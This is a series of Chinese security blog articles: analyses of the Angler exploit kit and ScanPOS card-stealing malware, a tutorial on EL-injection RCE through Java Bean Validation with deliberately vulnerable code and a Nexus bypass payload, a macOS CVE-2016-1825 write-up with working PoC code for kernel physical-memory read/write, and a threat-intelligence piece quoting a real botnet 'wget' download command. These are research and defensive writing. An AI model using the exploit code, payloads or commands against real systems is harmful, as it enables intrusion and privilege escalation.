图片8:注入代码示例（cont.d）
除了ActiveXObject的初始化操作之外，混淆代码同样也会对用户代理进行监测。这种检查不同于普通的子字符串搜索。其特别之处在于，代码会搜索以下两个字符串：“rv:11”以及“MSIE”。将用户代理的检测结果与旧版本IE浏览器（10.0版本或之前更老的版本）的程序特性进行结合，只有当用户使用真正的浏览器进行网页浏览时，恶意的JavaScript脚本才会进行恶意操作。但是这种恶意脚本在其他品牌的浏览器（例如Firefox／Chrome／以及其他的浏览器）中却不会起作用，即便这些浏览器与IE浏览器非常的相似。我们在表格1中列举了不同用户代理与恶意代码的配置组合以及相互作用情况。
表格1:恶意内容的触发条件
在这个表格中，我们可以看到恶意软件的作者将他们的攻击目标锁定在了IE浏览器用户的身上，并且还会尝试躲避安全研究人员的监测。然而，他们却忽略了一种情况：在这种情况下，他们的恶意行为实际上就已经暴露了。
**推测感染载体**
总的来说，我们所发现的感染情况可以分为两类，这也就意味着攻击者在入侵目标站点的过程中，可能会使用两种不同的感染载体。
（1）对于其中一小部分的网站来说，攻击者会将恶意脚本注入至HTML源文件的顶部，即<html>标签之前。
（2）对于其中绝大多数被入侵的网站而言，攻击者会将恶意脚本代码注入至<body>标签之后，而这一代码注入特性全部都发生在由WordPress驱动的网站之中。
**WordPress网站**
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把
WordPress当作一个内容管理系统（CMS）来使用。
鉴于在被入侵网站的列表中，由WordPress所驱动的网站占了绝大多数。所以攻击者很有可能利用了WordPress中的一个或多个安全漏洞。但是，如果要入侵这些网站，攻击者首先需要对目标站点进行某种类型的探测或扫描。在我们对所收集到的恶意软件样本进行了分析和研究之后，我们发现了更多受感染的站点信息。在WildFire的扫描结果中，我们还发现有很多恶意软件样本能够通过请求站点的xmlrpc.php文件来利用WordPress网站的漏洞。这个文件与多个漏洞有关，而且这些漏洞的危害早已公之于众了。我们对收集到的信息进行了整理之后，我们总共发现了二十多万个相关的独立域名。我们认为，其中有十七万左右的URL地址仍然保持活跃，在这些站点中，我们的恶意网页监测系统还检测到了535个新的被入侵站点。
**结论**
现代的漏洞利用工具变得越来越难以检测了，因为这些EK工具在设计时就会尝试避免安全研究人员的检测。特别的，Angler EK还拥有以下特性：
* 有针对性的利用：这个JavaScript恶意代码家族以及 iframe注入针对的是特殊配置条件，地理位置，以及IP分布情况。这种恶意脚本和服务器在攻击IE浏览器用户的时候使用了多种不同的入侵技术，并且他们所使用的IP地址并不在美国境内。
* 躲避安全研究人员的检测：这种不断进化和升级的注入脚本会想尽办法来检测出研究人员针对恶意软件所设计的沙盒。这些恶意脚本会在沙盒或者模拟环境中隐藏它们的恶意行为。
* 频繁的升级和持续的跟踪控制：我们对大量被入侵网站的跟踪和研究表明， 攻击者会对被入侵的设备进行持续地控制。目前，我们已经在注入代码中发现了三处非常重要的变化。如果攻击者不能对被入侵站点进行持续地控制，那么这些活动也就不可能发生了。这也就推翻了一个假设：即这些网站只被入侵了一次，注入的恶意代码也只注入了一次。
* 越来越多的网站受到了感染：根据我们的观察，每天都会有100多个网站受到感染（这是保守估计的数量，因为我们每天所能检测的网站数量有限），被入侵的网站数量每天都在稳定增加。而与此同时，之前被感染的网站也没有及时清除服务器中的病毒。这也就导致被入侵网站的数量一只都在稳定增长，而消除这种安全威胁仍需很长的一段时间。
除了这些挑战之外，我们还发现了一些连续性的行为模式以及这种攻击的一些限制：
* 可疑的重定向：尽管重定向脚本可能会变化，但重定向链相对而言是不会产生太大变化的。EK总是针对由WordPress驱动的网站，而且还会在感染了目标服务器之后在主机中下载一个flash文件。
* 条件再利用：对攻击者而言，利用WordPress中已知的漏洞和DNS的配置缺陷是比较容易实现的。然而，修改托管了EK工具的服务器相对而言就比较困难了。这需要攻击者从物理层面上获取到一台新设备的控制权。至少就目前来说，我们还没有发现有攻击者能够在一台被入侵的设备上配置实际的EK文件。这很有可能是为了躲避被入侵网站的宽带流量监测或者是反病毒软件的检测。
我们将会继续对受到入侵的网站进行跟踪和分析，我们期望对这些现代漏洞利用工具有更深入的了解，并向我们的客户提供最大程度的安全保护。
点击[这里](https://raw.githubusercontent.com/pan-unit42/iocs/master/angler/compromised_domains)获取这篇研究报告中所提到的被入侵网站。 | 社区文章 |
# 【技术分享】ScanPOS，通过Kronos传播的新型POS恶意软件
|
##### 译文声明
本文是翻译文章，文章来源：morphick.com
原文地址：<http://www.morphick.com/resources/lab-blog/scanpos-new-pos-malware-being-distributed-kronos>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：100RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
不久前，安全研究人员又发现了一个全新POS恶意软件家族——ScanPOS。
安全研究人员在分析Kronos网络钓鱼活动过程中，发现了一个含有下载银行恶意软件Kronos的恶意宏指令的相关文档。当Kronos运行时，它的payload将进一步下载另外几种恶意软件，但是引起他们注意的是一种新型的信用卡转储软件，该软件的检测难度非常大。根据在这款恶意软件中发现的字符串，安全研究人员将其正式命名为ScanPOS，以便于进行持续的跟踪和研究。
C:Usersexampledocumentsvisual studio 2010Projectsscan3Releasescan3.pdb
在写这篇文章的时候，ScanPOS在Virustotal网站上的检出率只有1/55：
ScanPOS是一个新的银行恶意软件家族。虽然它的基本功能与其他POS恶意软件基本相同，但它的隐身功能却是非常出色的。为了逃避杀毒软件的检测，ScanPOS软件做的非常小，这可以帮助轻松混入生产环境中。当代码被过度加壳后，反而容易被通用的启发式算法所捕获。
**
**
**网络钓鱼：**
****
实际上，Kronos是通过非常简单的网络钓鱼邮件来传播这款新型恶意软件的，电子邮件的内容如下所示：
An Employee has just been terminated.
Name: Tanner Williamson
Employee profile: EmployeeID-6283.doc
Emplid: 2965385
Rcd#: 0
Termination Date: 11/17/2016
相关的邮件头部如下所示：
TIME-STAMP: "16-11-14_13.44.23"
CONTENT-DISPOSITION: "attachment; filename='EmployeeID-6283.doc'"
X-VIRUS-SCANNED: "Debian amavisd-new at hosting5.skyinet.pl"
Subject : An Employee has just been terminated.
From: HR <[email protected]>
Mail-From: [email protected]
1st rec: hosting23.skyinet.pl
2nd rec:hosting23.skyinet.pl
当EmployeID-6283.doc启用宏时，那么将下载Kronos的Payload：
profile.excel-sharepoint[.]com/doc/office.exe
下载完成后，就会执行它。之后，Kronos将通过下面的地址来下载并执行ScanPOS
http://networkupdate[.]online/kbps/upload/a8b05325.exe.
**转储信用卡信息：**
在执行时，该恶意软件将获取有关当前进程的信息并让用户调用GetUserNameA。同时，它还会通过SeDebugPrivilege（见下文）来进行权限检查，以确保该恶意软件有权查看其他进程的内存空间。
然后，该恶意软件将进入无限循环，来转储计算机上面的进程内存，搜索信用卡轨道数据。在此循环过程中，该恶意软件将使用Process32FirstW /
Process32Next来遍历通过CreateToolhelp32Snapshot获取的进程列表中的所有进程。
迭代器通过使用OpenProcess获取进程的句柄，然后通过检查一个简单的白名单来过滤掉不必要的系统进程：
如果进程的名称通过了白名单，那么该恶意软件将进一步通过调用VirtualQueryEx以及ReadProcessMemory函数来获取该进程的内存信息。
一旦取得了进程内存，就可以开始扫描信用卡轨道数据了，其背后的主要逻辑是由函数0x4026C0实现的。
这段代码首先检查相应的标记符号（sentinel checks），并且从3,4,5或6开始下手。
然后，该恶意软件将使用自定义的搜索程序（而不是规则表达式）来查找潜在的候选数字。
该恶意软件对信用卡信息进行多次检查后，它会利用Luhn算法对潜在卡号进行基本验证。
当它找到了通过Luhn算法验证的潜在候选号码时，它将继续搜索数字（介于0到9之间的任意值），直到它命中轨道数据的结束标记“？”为止。
**
**
**网络连接：**
一旦找到潜在的卡号，就会通过HTTP POST将其发送到invoicesharepoint [。] com。
**
**
**结束语**
ScanPOS是一款最近发现的银行恶意软件，当前只有一个反病毒引擎将这个可执行文件标记为恶意代码。在本文中，我们对该恶意软件进行了全面的分析，希望对大家有所帮助。 | 社区文章 |
# Java安全-深入BeanValidation的RCE漏洞
## 前面
在学习Java的表达式的时候，学习了`Thymeleaf`造成的模板注入漏洞，后续又看到了相似的注入问题，在参数验证的错误消息中。漏洞简单描述就是，用户控制器的`Java
Bean` 的属性（来自于HTTP请求）被连接到 `Bean Validation`
的错误信息中，错误信息会被处理，其中的EL表达式会被执行，最后插入到违规信息并返回。
这里面可以提取到的重要信息：
* 使用 Java Bean Validation 验证
* 验证用户可控的 Java Bean
* Java Bean 的不合法属性回显到错误消息中（从回显处fuzz模板注入
## Bean Validation
这是在 `JSR(303)` 提出来的，是Java定义的一套基于 **注解** 的数据规范验证。现在已经到了 JSR(380) 的`Bean
Validation 2.0` 版。
使用他可以简单的在需要验证的类或者属性上加上对应的注解，就可以使用内置或者自定义验证器对Bean进行验证，优势就是只需要约束一次，不用在需要验证的所有接口处加入大量的if-else 判断，方便代码维护，简化代码量。
### demo
写一个`springboot`的`bean validation` 的例子。
加入依赖
<dependency>
<groupId>org.hibernate.validator</groupId>
<artifactId>hibernate-validator</artifactId>
<version>6.1.2.Final</version>
</dependency>
<dependency>
<groupId>org.hibernate.javax.persistence</groupId>
<artifactId>hibernate-jpa-2.1-api</artifactId>
<version>1.0.0.Final</version>
</dependency>
Hibernate Validator 是 Bean Validation 的实现，其中包含了
jakarta是java改名而来的。
创建一个 Input的 Java Bean
public class Input {
@Id
@GeneratedValue
@NotNull
@Null
private Long id;
@Min(1)
@Max(10)
@Column
private int numberBetweenOneAndTen;
@IpAddress
@Column
private String ipAddress;
//setter getter ……
注意上面的`@IpAddress` 注解需要创建
@Target({ FIELD })
@Retention(RUNTIME)
@Constraint(validatedBy = IpAddressValidator.class)
@Documented
public @interface IpAddress {
String message() default "";
Class<?>[] groups() default { };
Class<? extends Payload>[] payload() default { };
}
`@Constraint(validatedBy = IpAddressValidator.class)` 用来指定由哪个类进行验证，创建它。
验证器需要继承自`ConstraintValidator` 接口，此接口使用了泛型，第一个参数是自定义的注解，第二个参数是校验的数据类型。
public class IpAddressValidator implements ConstraintValidator<IpAddress, String> {
@Override
public boolean isValid(String value, ConstraintValidatorContext context) {
Pattern pattern = Pattern.compile("^([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$");
Matcher matcher = pattern.matcher(value);
boolean isValid = true;
String message = "";
try {
if (!matcher.matches()) {
isValid = false;
message = value+"不匹配";
} else {
for (int i = 1; i <= 4; i++) {
int octet = Integer.valueOf(matcher.group(i));
if (octet > 255) {
isValid = false;
message = value + "大于255";
}
}
}
} catch (Exception e) {
isValid = false;
}
if(!isValid){
context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate("invalid ip :" + message)
.addConstraintViolation();
}
return isValid;
}
}
然后写一个Controller，加上`@Valid` 注解
@RestController
class ValidateRequestBodyController {
@PostMapping("/validateBody")
ResponseEntity<String> validateBody(@Valid @RequestBody Input input) {
return ResponseEntity.ok("valid");
}
}
此时已经可以验证参数了，不过参数不合法的话会直接返回 `400` 和`415` 状态码，这并不友好，上面的自定义验证器添加的错误信息也没有意义了。
参数验证不通过抛出的异常是，
`MethodArgumentNotValidException`，
Spring 提供一个 `@ExceptionHandler`
注解，创建一个`@ConrtrollerAdvice`控制器接口，用于全局的异常处理，使用`fastjson`来回显json格式的错误信息。
@ControllerAdvice
class ErrorHandlingControllerAdvice {
// 处理接口参数数据格式错误异常
@ExceptionHandler(MethodArgumentNotValidException.class)
@ResponseStatus(HttpStatus.BAD_REQUEST)
@ResponseBody
public Object errorHandler(HttpServletRequest request, MethodArgumentNotValidException e) {
Map<String,String> error = new HashMap<>();
for (FieldError fieldError : e.getBindingResult().getFieldErrors()) {
error.put(fieldError.getField(),fieldError.getDefaultMessage());
}
return JSON.toJSONString(error);
}
}
可以发现 `ipAddress`的错误信息里直接把内容输出出来，尝试 EL表达式注入。
跟一下大概的逻辑，
验证失败后，写入自定义的错误信息，
然后在抛出带有错误信息的`MethodArgumentNotValidException`异常。
后面就是`Springboot`捕获异常，并使用特定的异常处理接口来处理。
问题还是出在验证过程中对于错误信息的处理，添加错误信息后，`violatedConstraintValidatorContexts` 不为空，
跟进，`ValidationContext#addConstraintFailure`
调用了 自身的`interpolate` 方法来插入消息，其中有两种主要的，一种是参数插值（`{}`）和表达式插值（`${}`），表达式插值会被执行Java
表达式语言引擎执行。
不断跟进中间的 `interpolate`
方法，直到`org.hibernate.validator.messageinterpolation.AbstractMessageInterpolator#interpolateMessage`
如果存在 { 就会先处理 参数表达式插入，然后再处理EL 表达式。
造成EL表达式的注入。
栈
interpolate:67, ElTermResolver (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:64, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:159, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateExpression:519, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateMessage:415, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:355, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:59, MessageSourceMessageInterpolator (org.springframework.boot.validation)
interpolate:51, LocaleContextMessageInterpolator (org.springframework.validation.beanvalidation)
interpolate:313, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
addConstraintFailure:230, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
validateConstraints:79, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
doValidateConstraint:130, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateConstraint:123, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateMetaConstraint:555, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForSingleDefaultGroupElement:518, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForDefaultGroup:488, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForCurrentGroup:450, ValidatorImpl (org.hibernate.validator.internal.engine)
validateInContext:400, ValidatorImpl (org.hibernate.validator.internal.engine)
validate:172, ValidatorImpl (org.hibernate.validator.internal.engine)
validate:109, SpringValidatorAdapter (org.springframework.validation.beanvalidation)
validate:66, ValidatorAdapter (org.springframework.boot.autoconfigure.validation)
validate:895, DataBinder (org.springframework.validation)
validateIfApplicable:245, AbstractMessageConverterMethodArgumentResolver (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:139, RequestResponseBodyMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:121, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
invokeAndHandle:117, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)
invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch
……
## Nexus Repository Manager
### CVE-2018-16621
影响版本：
Nexus Repository Manager OSS/Pro 3.x - 3.13
#### 分析
`org.sonatype.nexus.coreui.UserXO`中
存在自定义的验证注解，注解类型为`org.sonatype.nexus.security.role.RolesExist`
验证器为`org.sonatype.nexus.security.role.RolesExistValidator`
可以发现跟漏洞`demo`中的验证方法大致相同，可以在`roles` 参数处注入EL表达式。
所以存在验证`roles`参数的地方都可以触发漏洞。
#### 修复
简单粗暴，
这个正则还防止了`$${` 双写绕过的问题。
### CVE-2020-10693 与 CVE-2020-10204
首先来说`CVE-2020-10204` ，影响版本`Nexus Repository Manager OSS/Pro 3.x
-3.21.1`，是对于上面的漏洞的绕过版本，使用了`exp|$\\A{2*333}|` 来绕过正则，他的修复是又加了一个`replaceAll`。
为什么会出现这种绕过，是因为`hibernate-validator` 在`6.0.15.final`
之前的版本中，可以将错误的表达式，类似上面的exp，解析成正确的表达式执行，也就是`CVE-2020-10693`
<https://in.relation.to/2020/05/07/hibernate-validator-615-6020-released/>
#### 分析
`org.hibernate.validator.internal.engine.messageinterpolation.parser.TokenCollector#parse`
方法将会对消息进行解析。
通过遍历错误信息，
当前的字符是`$`时
调用`org.hibernate.validator.internal.engine.messageinterpolation.parser.MessageState#handleELDesignator`方法，
`interpolationTermType` 属性值为`EL`
目前的状态变更为 `ELState`
当匹配到 `\` 时，调用目前状态的`currentParserState.handleEscapeCharacter`
进入`EscapedState` 状态，接下来再匹配到`{}$\`
以外字符的话，调用`EscapedState#handleNonMetaCharacter`方法，
将当前的字符给到`currentToken`，返回上一个状态 （`ElState`）。
后面的代码不贴了，直接说好了，后面到`{` 的时候，`ELState#handleBeginTerm`
对`currentToken` 进行一些结束操作然后写入`tokenList`，主要是定义其`isEL`属性。
然后给`currentToken`赋值为null，然后给他添加有 `${` 的value，然后，`isEL`，`isParameter`为true。
进入`InterpolationTermState` 状态，此状态就是不断添加字符，直到`}`
主要就是`ELState#handleEscapeCharacter` 方法，直接进入`EscapedState`
状态，使得`$\`再次遇到其他字符时，继续返回`ELState`状态，从而获取了合法的EL表达式。
<https://github.com/hibernate/hibernate-validator/commit/6ae28a1bc8f7ccb208fa004bdb7c6da569be8a59#diff-3b58c78300599cd6be8467d4722d40a9912c7b256d708b291bce792290395f1b>
## 参考
<https://reflectoring.io/bean-validation-with-spring-boot/>
<https://beanvalidation.org/2.0/spec/>
<https://xz.aliyun.com/t/8319#toc-4>
<https://securitylab.github.com/research/bean-validation-RCE/>
<https://securitylab.github.com/advisories/GHSL-2020-020-hibernate-validator/> | 社区文章 |
# CVE-2016-1825浅析：从用户态空间设置IOKit注册属性导致的越权读写物理地址
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x001 前言
CVE-2016-1825是IOHIDFamily.kext内核扩展内的一个洞，在OS X
10.11.5以前版本的系统都存在该漏洞，由于允许`IOHIDevice`重新设置`IOUserClientClass`属性，导致任意代码执行。
## 0x002 调试环境
虚拟机: OS X Yosemite 10.10.5 14F27
主机: macOS Mojave 10.14.2 18C54
内核调试环境的搭建可以参照这一文：
[macOS内核提权：利用CVE-2016-1758获取kernel
slide（Part1）](https://www.anquanke.com/post/id/169190)
## 0x003 内核扩展源码分析
在开始分析之前，先来了解一些概念：
1.IOKit？
IOKit是用于设备驱动程序的框架和内核子系统，与IOKit的所有交互都以IOKit主端口开始，这是另一个特殊的机器端口，允许访问IOKit
Registry。 IOKit
Registry允许用户态程序查找可用的硬件，而设备驱动程序可以通过实现UserClient将接口暴露给用户空间。用户空间实际与IOKit驱动程序的UserClient交互的主要方式是通过`io_connect_method`，此方法由IOKitUser库函数IOConnectCallMethod封装。
2.IOKit Registry？
IOKit
Registry实际上是一个驱动程序可以声明键值对的地方（其中键是一个字符串，其值是属于CoreFoundation的数据类型），驱动程序还可以指定其中一些键是可配置的，这意味着从用户空间可以使用IOKit
Registry的API来设置新值。
获取macOS kext扩展源码
[[传送门]](https://opensource.apple.com/tarballs/IOPCIFamily/IOPCIFamily-239.10.1.tar.gz)
打开`IOHIDSystem/IOHIDevice.cpp`，找到`IOHIDevice::setProperties`、`IOHIDevice::setParamProperties`方法
// RY: Override IORegistryEntry::setProperties(). This will allow properties
// to be set per device, instead of globally via setParamProperties.
IOReturn IOHIDevice::setProperties( OSObject * properties )
{
OSDictionary * propertyDict = OSDynamicCast(OSDictionary, properties);
IOReturn ret = kIOReturnBadArgument;
if ( propertyDict ) {
if (propertyDict->setOptions(0, 0) & OSDictionary::kImmutable) {
OSDictionary * temp = propertyDict;
propertyDict = OSDynamicCast(OSDictionary, temp->copyCollection());
}
else {
propertyDict->retain();
}
propertyDict->setObject(kIOHIDDeviceParametersKey, kOSBooleanTrue);
ret = setParamProperties( propertyDict );
propertyDict->removeObject(kIOHIDDeviceParametersKey);
propertyDict->release();
}
return ret;
}
IOReturn IOHIDevice::setParamProperties( OSDictionary * dict )
{
IOHIDEventService * eventService = NULL;
if ( dict->getObject(kIOHIDEventServicePropertiesKey) == NULL ) {
IOService * service = getProvider();
if ( service )
eventService = OSDynamicCast(IOHIDEventService, service);
}
if ( dict->getObject(kIOHIDDeviceParametersKey) == kOSBooleanTrue ) {
OSDictionary * deviceParameters = OSDynamicCast(OSDictionary, copyProperty(kIOHIDParametersKey));
if ( !deviceParameters ) {
deviceParameters = OSDictionary::withCapacity(4);
}
else {
if (deviceParameters->setOptions(0, 0) & OSDictionary::kImmutable) {
OSDictionary * temp = deviceParameters;
deviceParameters = OSDynamicCast(OSDictionary, temp->copyCollection());
temp->release();
}
else {
// do nothing
}
}
if ( deviceParameters ) {
// RY: Because K&M Prefs and Admin still expect device props to be
// top level, let's continue to set them via setProperty. When we get
// Max to migrate over, we can remove the interator code and use:
// deviceParameters->merge(dict);
// deviceParameters->removeObject(kIOHIDResetKeyboardKey);
// deviceParameters->removeObject(kIOHIDResetPointerKey);
// setProperty(kIOHIDParametersKey, deviceParameters);
// deviceParameters->release();
OSCollectionIterator * iterator = OSCollectionIterator::withCollection(dict);
if ( iterator ) {
OSSymbol * key;
while ( ( key = (OSSymbol *)iterator->getNextObject() ) )
if ( !key->isEqualTo(kIOHIDResetKeyboardKey) &&
!key->isEqualTo(kIOHIDResetPointerKey) &&
!key->isEqualTo(kIOHIDScrollResetKey) &&
!key->isEqualTo(kIOHIDDeviceParametersKey) &&
!key->isEqualTo(kIOHIDResetLEDsKey)) {
OSObject * value = dict->getObject(key);
deviceParameters->setObject(key, value);
setProperty(key, value);
}
iterator->release();
}
setProperty(kIOHIDParametersKey, deviceParameters);
deviceParameters->release();
// RY: Propogate up to IOHIDEventService level
if ( eventService )
eventService->setSystemProperties(dict);
}
else {
return kIOReturnNoMemory;
}
}
return( kIOReturnSuccess );
}
漏洞点在`IOHIDevice::setParamProperties`方法上，该方法会迭代含有键值对的字典，并对每个健值对调用`setProperty`方法。
打开`IOHIDEventServiceClass`，该处代码重写了`setProperties`方法，以允许用户程序通过调用`IORegistryEntrySetCFProperty`方法，进入`io_registry_entry_set_properties`Mach陷阱设置属性。
这样，我们可以在在IOHIDevice的实例上设置IOUserClientClass客户端类属性，然后会在内核中会分配一个IOUserClient子类，通过相应子类方法可以从用户态操作内核态的数据。示例代码：
void physic_init() {
// Get a handle to a service that allows setting arbitrary IORegistry properties.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching(target_service));
if (service == IO_OBJECT_NULL) {
printf("could not find any services matching %s", target_service);
}
kern_return_t kr = IORegistryEntrySetCFProperty(service,
CFSTR("IOUserClientClass"),
CFSTR("xxxxxxxx"));
if (kr != KERN_SUCCESS) {
printf("could not set property: %x", kr);
}
......
}
打开`IOPCIBridge.cpp`，该方法会new一个`PCIBridge`的client`IOPCIDiagnosticsClient`，用于调试PCI桥，当然这里Alloc相应的内核资源以前会首先检查是否具有管理员权限
再看到`IOPCIDiagnosticsClient::externalMethod`方法，当传入`selector`的参数为`kIOPCIDiagnosticsMethodWrite`，会向物理地址写入数据
当传入`selector`的参数为`kIOPCIDiagnosticsMethodRead`，会读出制定物理地址的数据
打开`tools/pcidump.c`，找到调用物理内存读写方法的配置。
向物理地址写入
从物理地址读出
## 0x004 Proof of Concept
现在总结一下以上的分析过程，以及如何利用漏洞读写物理地址：
1.找到`IOHIDevice`这个service，调用`IORegistryEntrySetCFProperty`方法将`IOPCIDiagnosticsClient`设置成`IOUserClientClass`属性。
2.在用户态空间连接上`IOPCIDiagnosticsClient`。
3.配置`IOPCIDiagnosticsParameters`参数，获得对物理地址的读写方法。
编译以下poc代码（已上传到个人Github上[[传送门]](https://github.com/wooy0ung/macos-exploits/tree/master/cve-2016-1825)），部分核心代码：
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>
#include "physic.h"
// Definitions from IOPCIDevice.h
enum {
kIOPCIConfigSpace = 0,
kIOPCIIOSpace = 1,
kIOPCI32BitMemorySpace = 2,
kIOPCI64BitMemorySpace = 3
};
// Definitions from IOPCIPrivate.h
enum {
kIOPCIDiagnosticsMethodRead = 0,
kIOPCIDiagnosticsMethodWrite = 1,
kIOPCIDiagnosticsMethodCount
};
struct IOPCIDiagnosticsParameters {
uint32_t options;
uint32_t spaceType;
uint32_t bitWidth;
uint32_t _resv;
uint64_t value;
union {
uint64_t addr64;
struct {
unsigned int offset :16;
unsigned int function :3;
unsigned int device :5;
unsigned int bus :8;
unsigned int segment :16;
unsigned int reserved :16;
} pci;
} address;
};
#define TARGET_SERVICE "IOHIDevice"
static const char *target_service = TARGET_SERVICE;
// A connection to an instance of IOPCIDiagnosticsClient through which we can access physical
static io_connect_t connection;
void physic_init() {
// Get a handle to a service that allows setting arbitrary IORegistry properties.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching(target_service));
if (service == IO_OBJECT_NULL) {
printf("could not find any services matching %s", target_service);
}
kern_return_t kr = IORegistryEntrySetCFProperty(service,
CFSTR("IOUserClientClass"),
CFSTR("IOPCIDiagnosticsClient"));
if (kr != KERN_SUCCESS) {
printf("could not set property: %x", kr);
}
// Create a connection to the IOPCIDiagnosticsClient.
kr = IOServiceOpen(service, mach_task_self(), 0, &connection);
IOObjectRelease(service);
if (kr != KERN_SUCCESS) {
printf("could not open connection: %x", kr);
}
}
uint64_t physic_read(uint64_t paddr, unsigned width) {
struct IOPCIDiagnosticsParameters param;
param.spaceType = kIOPCI64BitMemorySpace;
param.bitWidth = width * 8;
param.options = 0;
param.address.addr64 = paddr;
param.value = -1;
size_t size = sizeof(param);
kern_return_t kr = IOConnectCallMethod(connection, kIOPCIDiagnosticsMethodRead,
NULL, 0,
¶m, sizeof(param),
NULL, NULL,
¶m, &size);
if (kr != KERN_SUCCESS) {
printf("could not read physical address %p: %x", (void *)paddr, kr);
}
return param.value;
}
void physic_write(uint64_t paddr, uint64_t value, unsigned width) {
struct IOPCIDiagnosticsParameters param;
param.spaceType = kIOPCI64BitMemorySpace;
param.bitWidth = width * 8;
param.options = 0;
param.address.addr64 = paddr;
param.value = value;
kern_return_t kr = IOConnectCallMethod(connection, kIOPCIDiagnosticsMethodWrite,
NULL, 0,
¶m, sizeof(param),
NULL, NULL,
NULL, NULL);
if (kr != KERN_SUCCESS) {
printf("could not write physical address %p: %x", (void *)paddr, kr);
}
}
为了验证poc是否能够对物理地址进行读写，我们需要在内核中找一块地，对该处数据进行读写。
查看kernel载入基址
查看基址数据，我们选取`0xffffff800c000040`该处地址做读写测试
32位的mac系统的物理地址直接就是虚拟地址，而对于64位的mac系统，将虚拟地址略去高32位即可
读取物理地址`0xc000040`，读出来的值与调试器显示的值一致
将数据`0xdeadbeefdeadbeef`写入物理地址`0xc000040`
``
回到调试器，查看`0xffffff800c000040`处的数据，写入成功
现在相当于可以对内核数据任意读写了，更进一步，我们可以将ucred结构的`cr_svuid`设置成0完成提权，关于提权过程这里就不展开了，可以参考这篇文章[[macOS内核提权：利用CVE-2016-1828本地权限提升（Part2）
]](https://www.anquanke.com/post/id/169191)
WIN~ | 社区文章 |
# 浅谈威胁情报应用场景
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、引言
现今网络攻防环境愈发复杂，威胁情报现在作为一种弥补攻防信息不对称的安全技术逐渐得到了广泛的认识，更多企业也开始接受并购买威胁情报数据来建设企业安全。笔者对当下的威胁情报应用较多的场景进行了一些总结，期待与业界各位权威进一步交流。
## 二、威胁情报定义
在探讨威胁情报应用的问题之前，我们必须首先要回答清楚：什么是威胁情报？
SANS研究院的说法是：针对安全威胁、威胁者、利用、恶意软件、漏洞和危害指标，所收集的用于评估和应用的数据集。Gartner的解释则是：威胁情报是基于证据的知识，包括上下文、机制、指标、隐含和可操作的建议，针对一个现存的或新兴的威胁，可用于做出相应决定的知识。
很显然，单一的信息或数据一般算不上威胁情报，只有经过分析处理过的准确有价值的信息才能算是威胁情报。我们对这些解释提取一个公约数，可以给威胁情报一个简明的定义：以证据为基础的知识（包括背景、机制、指标、含义以及可采取的行动建议），关于当前的或正在出现的威胁或危害资产的，可用于通报有关该主题对威胁或危险作出反应的决定。
威胁情报的应用场景
威胁情报有以下几个常见的应用场景：
攻击检测与防御
攻击团伙追踪
威胁狩猎
事件监测与响应
基于情报驱动的漏洞管理
暗网情报发现
### 2.1攻击检测与防御
威胁情报应用于攻击检测与防御是应用得较多的场景之一。通过机读情报以订阅方式集成到现有的安全产品之中，实现与安全产品协同工作，如SIEM、IDS等产品中，可以有效的缩短平均检测时间（MTTD：Mean-Time-to-Detect），当平均检测时间降低即表示着企业的安全能力得到了提升。威胁情报对已有的IP/Domain/HASH等信誉库进行了标准化的补充，可以让其可以更加有效发挥作用。准确及时的失陷标示数据可以帮助用户快速处理已经或正在发生的威胁，比如黑样本的HASH、对外连接的C&C及Downloader服务器的IP或域名，网络边界设备或运行于主机上的Agent可以通过简单的匹配就能发现并采用自动化的应对措施。
下面通过应用实例来说明威胁情报在攻击检测与防御中的作用。笔者从部署的蜜网中发现了一条攻击信息wget -q -O-http://67.205.168.20:8000/i.sh。链接的主要内容为shell脚本，功能是远程下载挖矿程序，创建定时任务。
由上图可以得知攻击载荷下载链接为http://67.205.168.20:8000/static/4011/ddgs.i686和http://67.205.168.20:8000/static/4011/ddgs.x86_64，经过分析确认为DDG僵尸网络病毒，将信息整理为机读情报（STIX格式），大致如下图：
应用于其他安全产品中需要转化成安全产品的标准格式，例如IDS产品。IP类的可以应用于NIDS中，恶意软件的hash可应用于HIDS，例如下图将上述情报中的IP其转化成Snort规则，可以直接在网络层面对其检测：
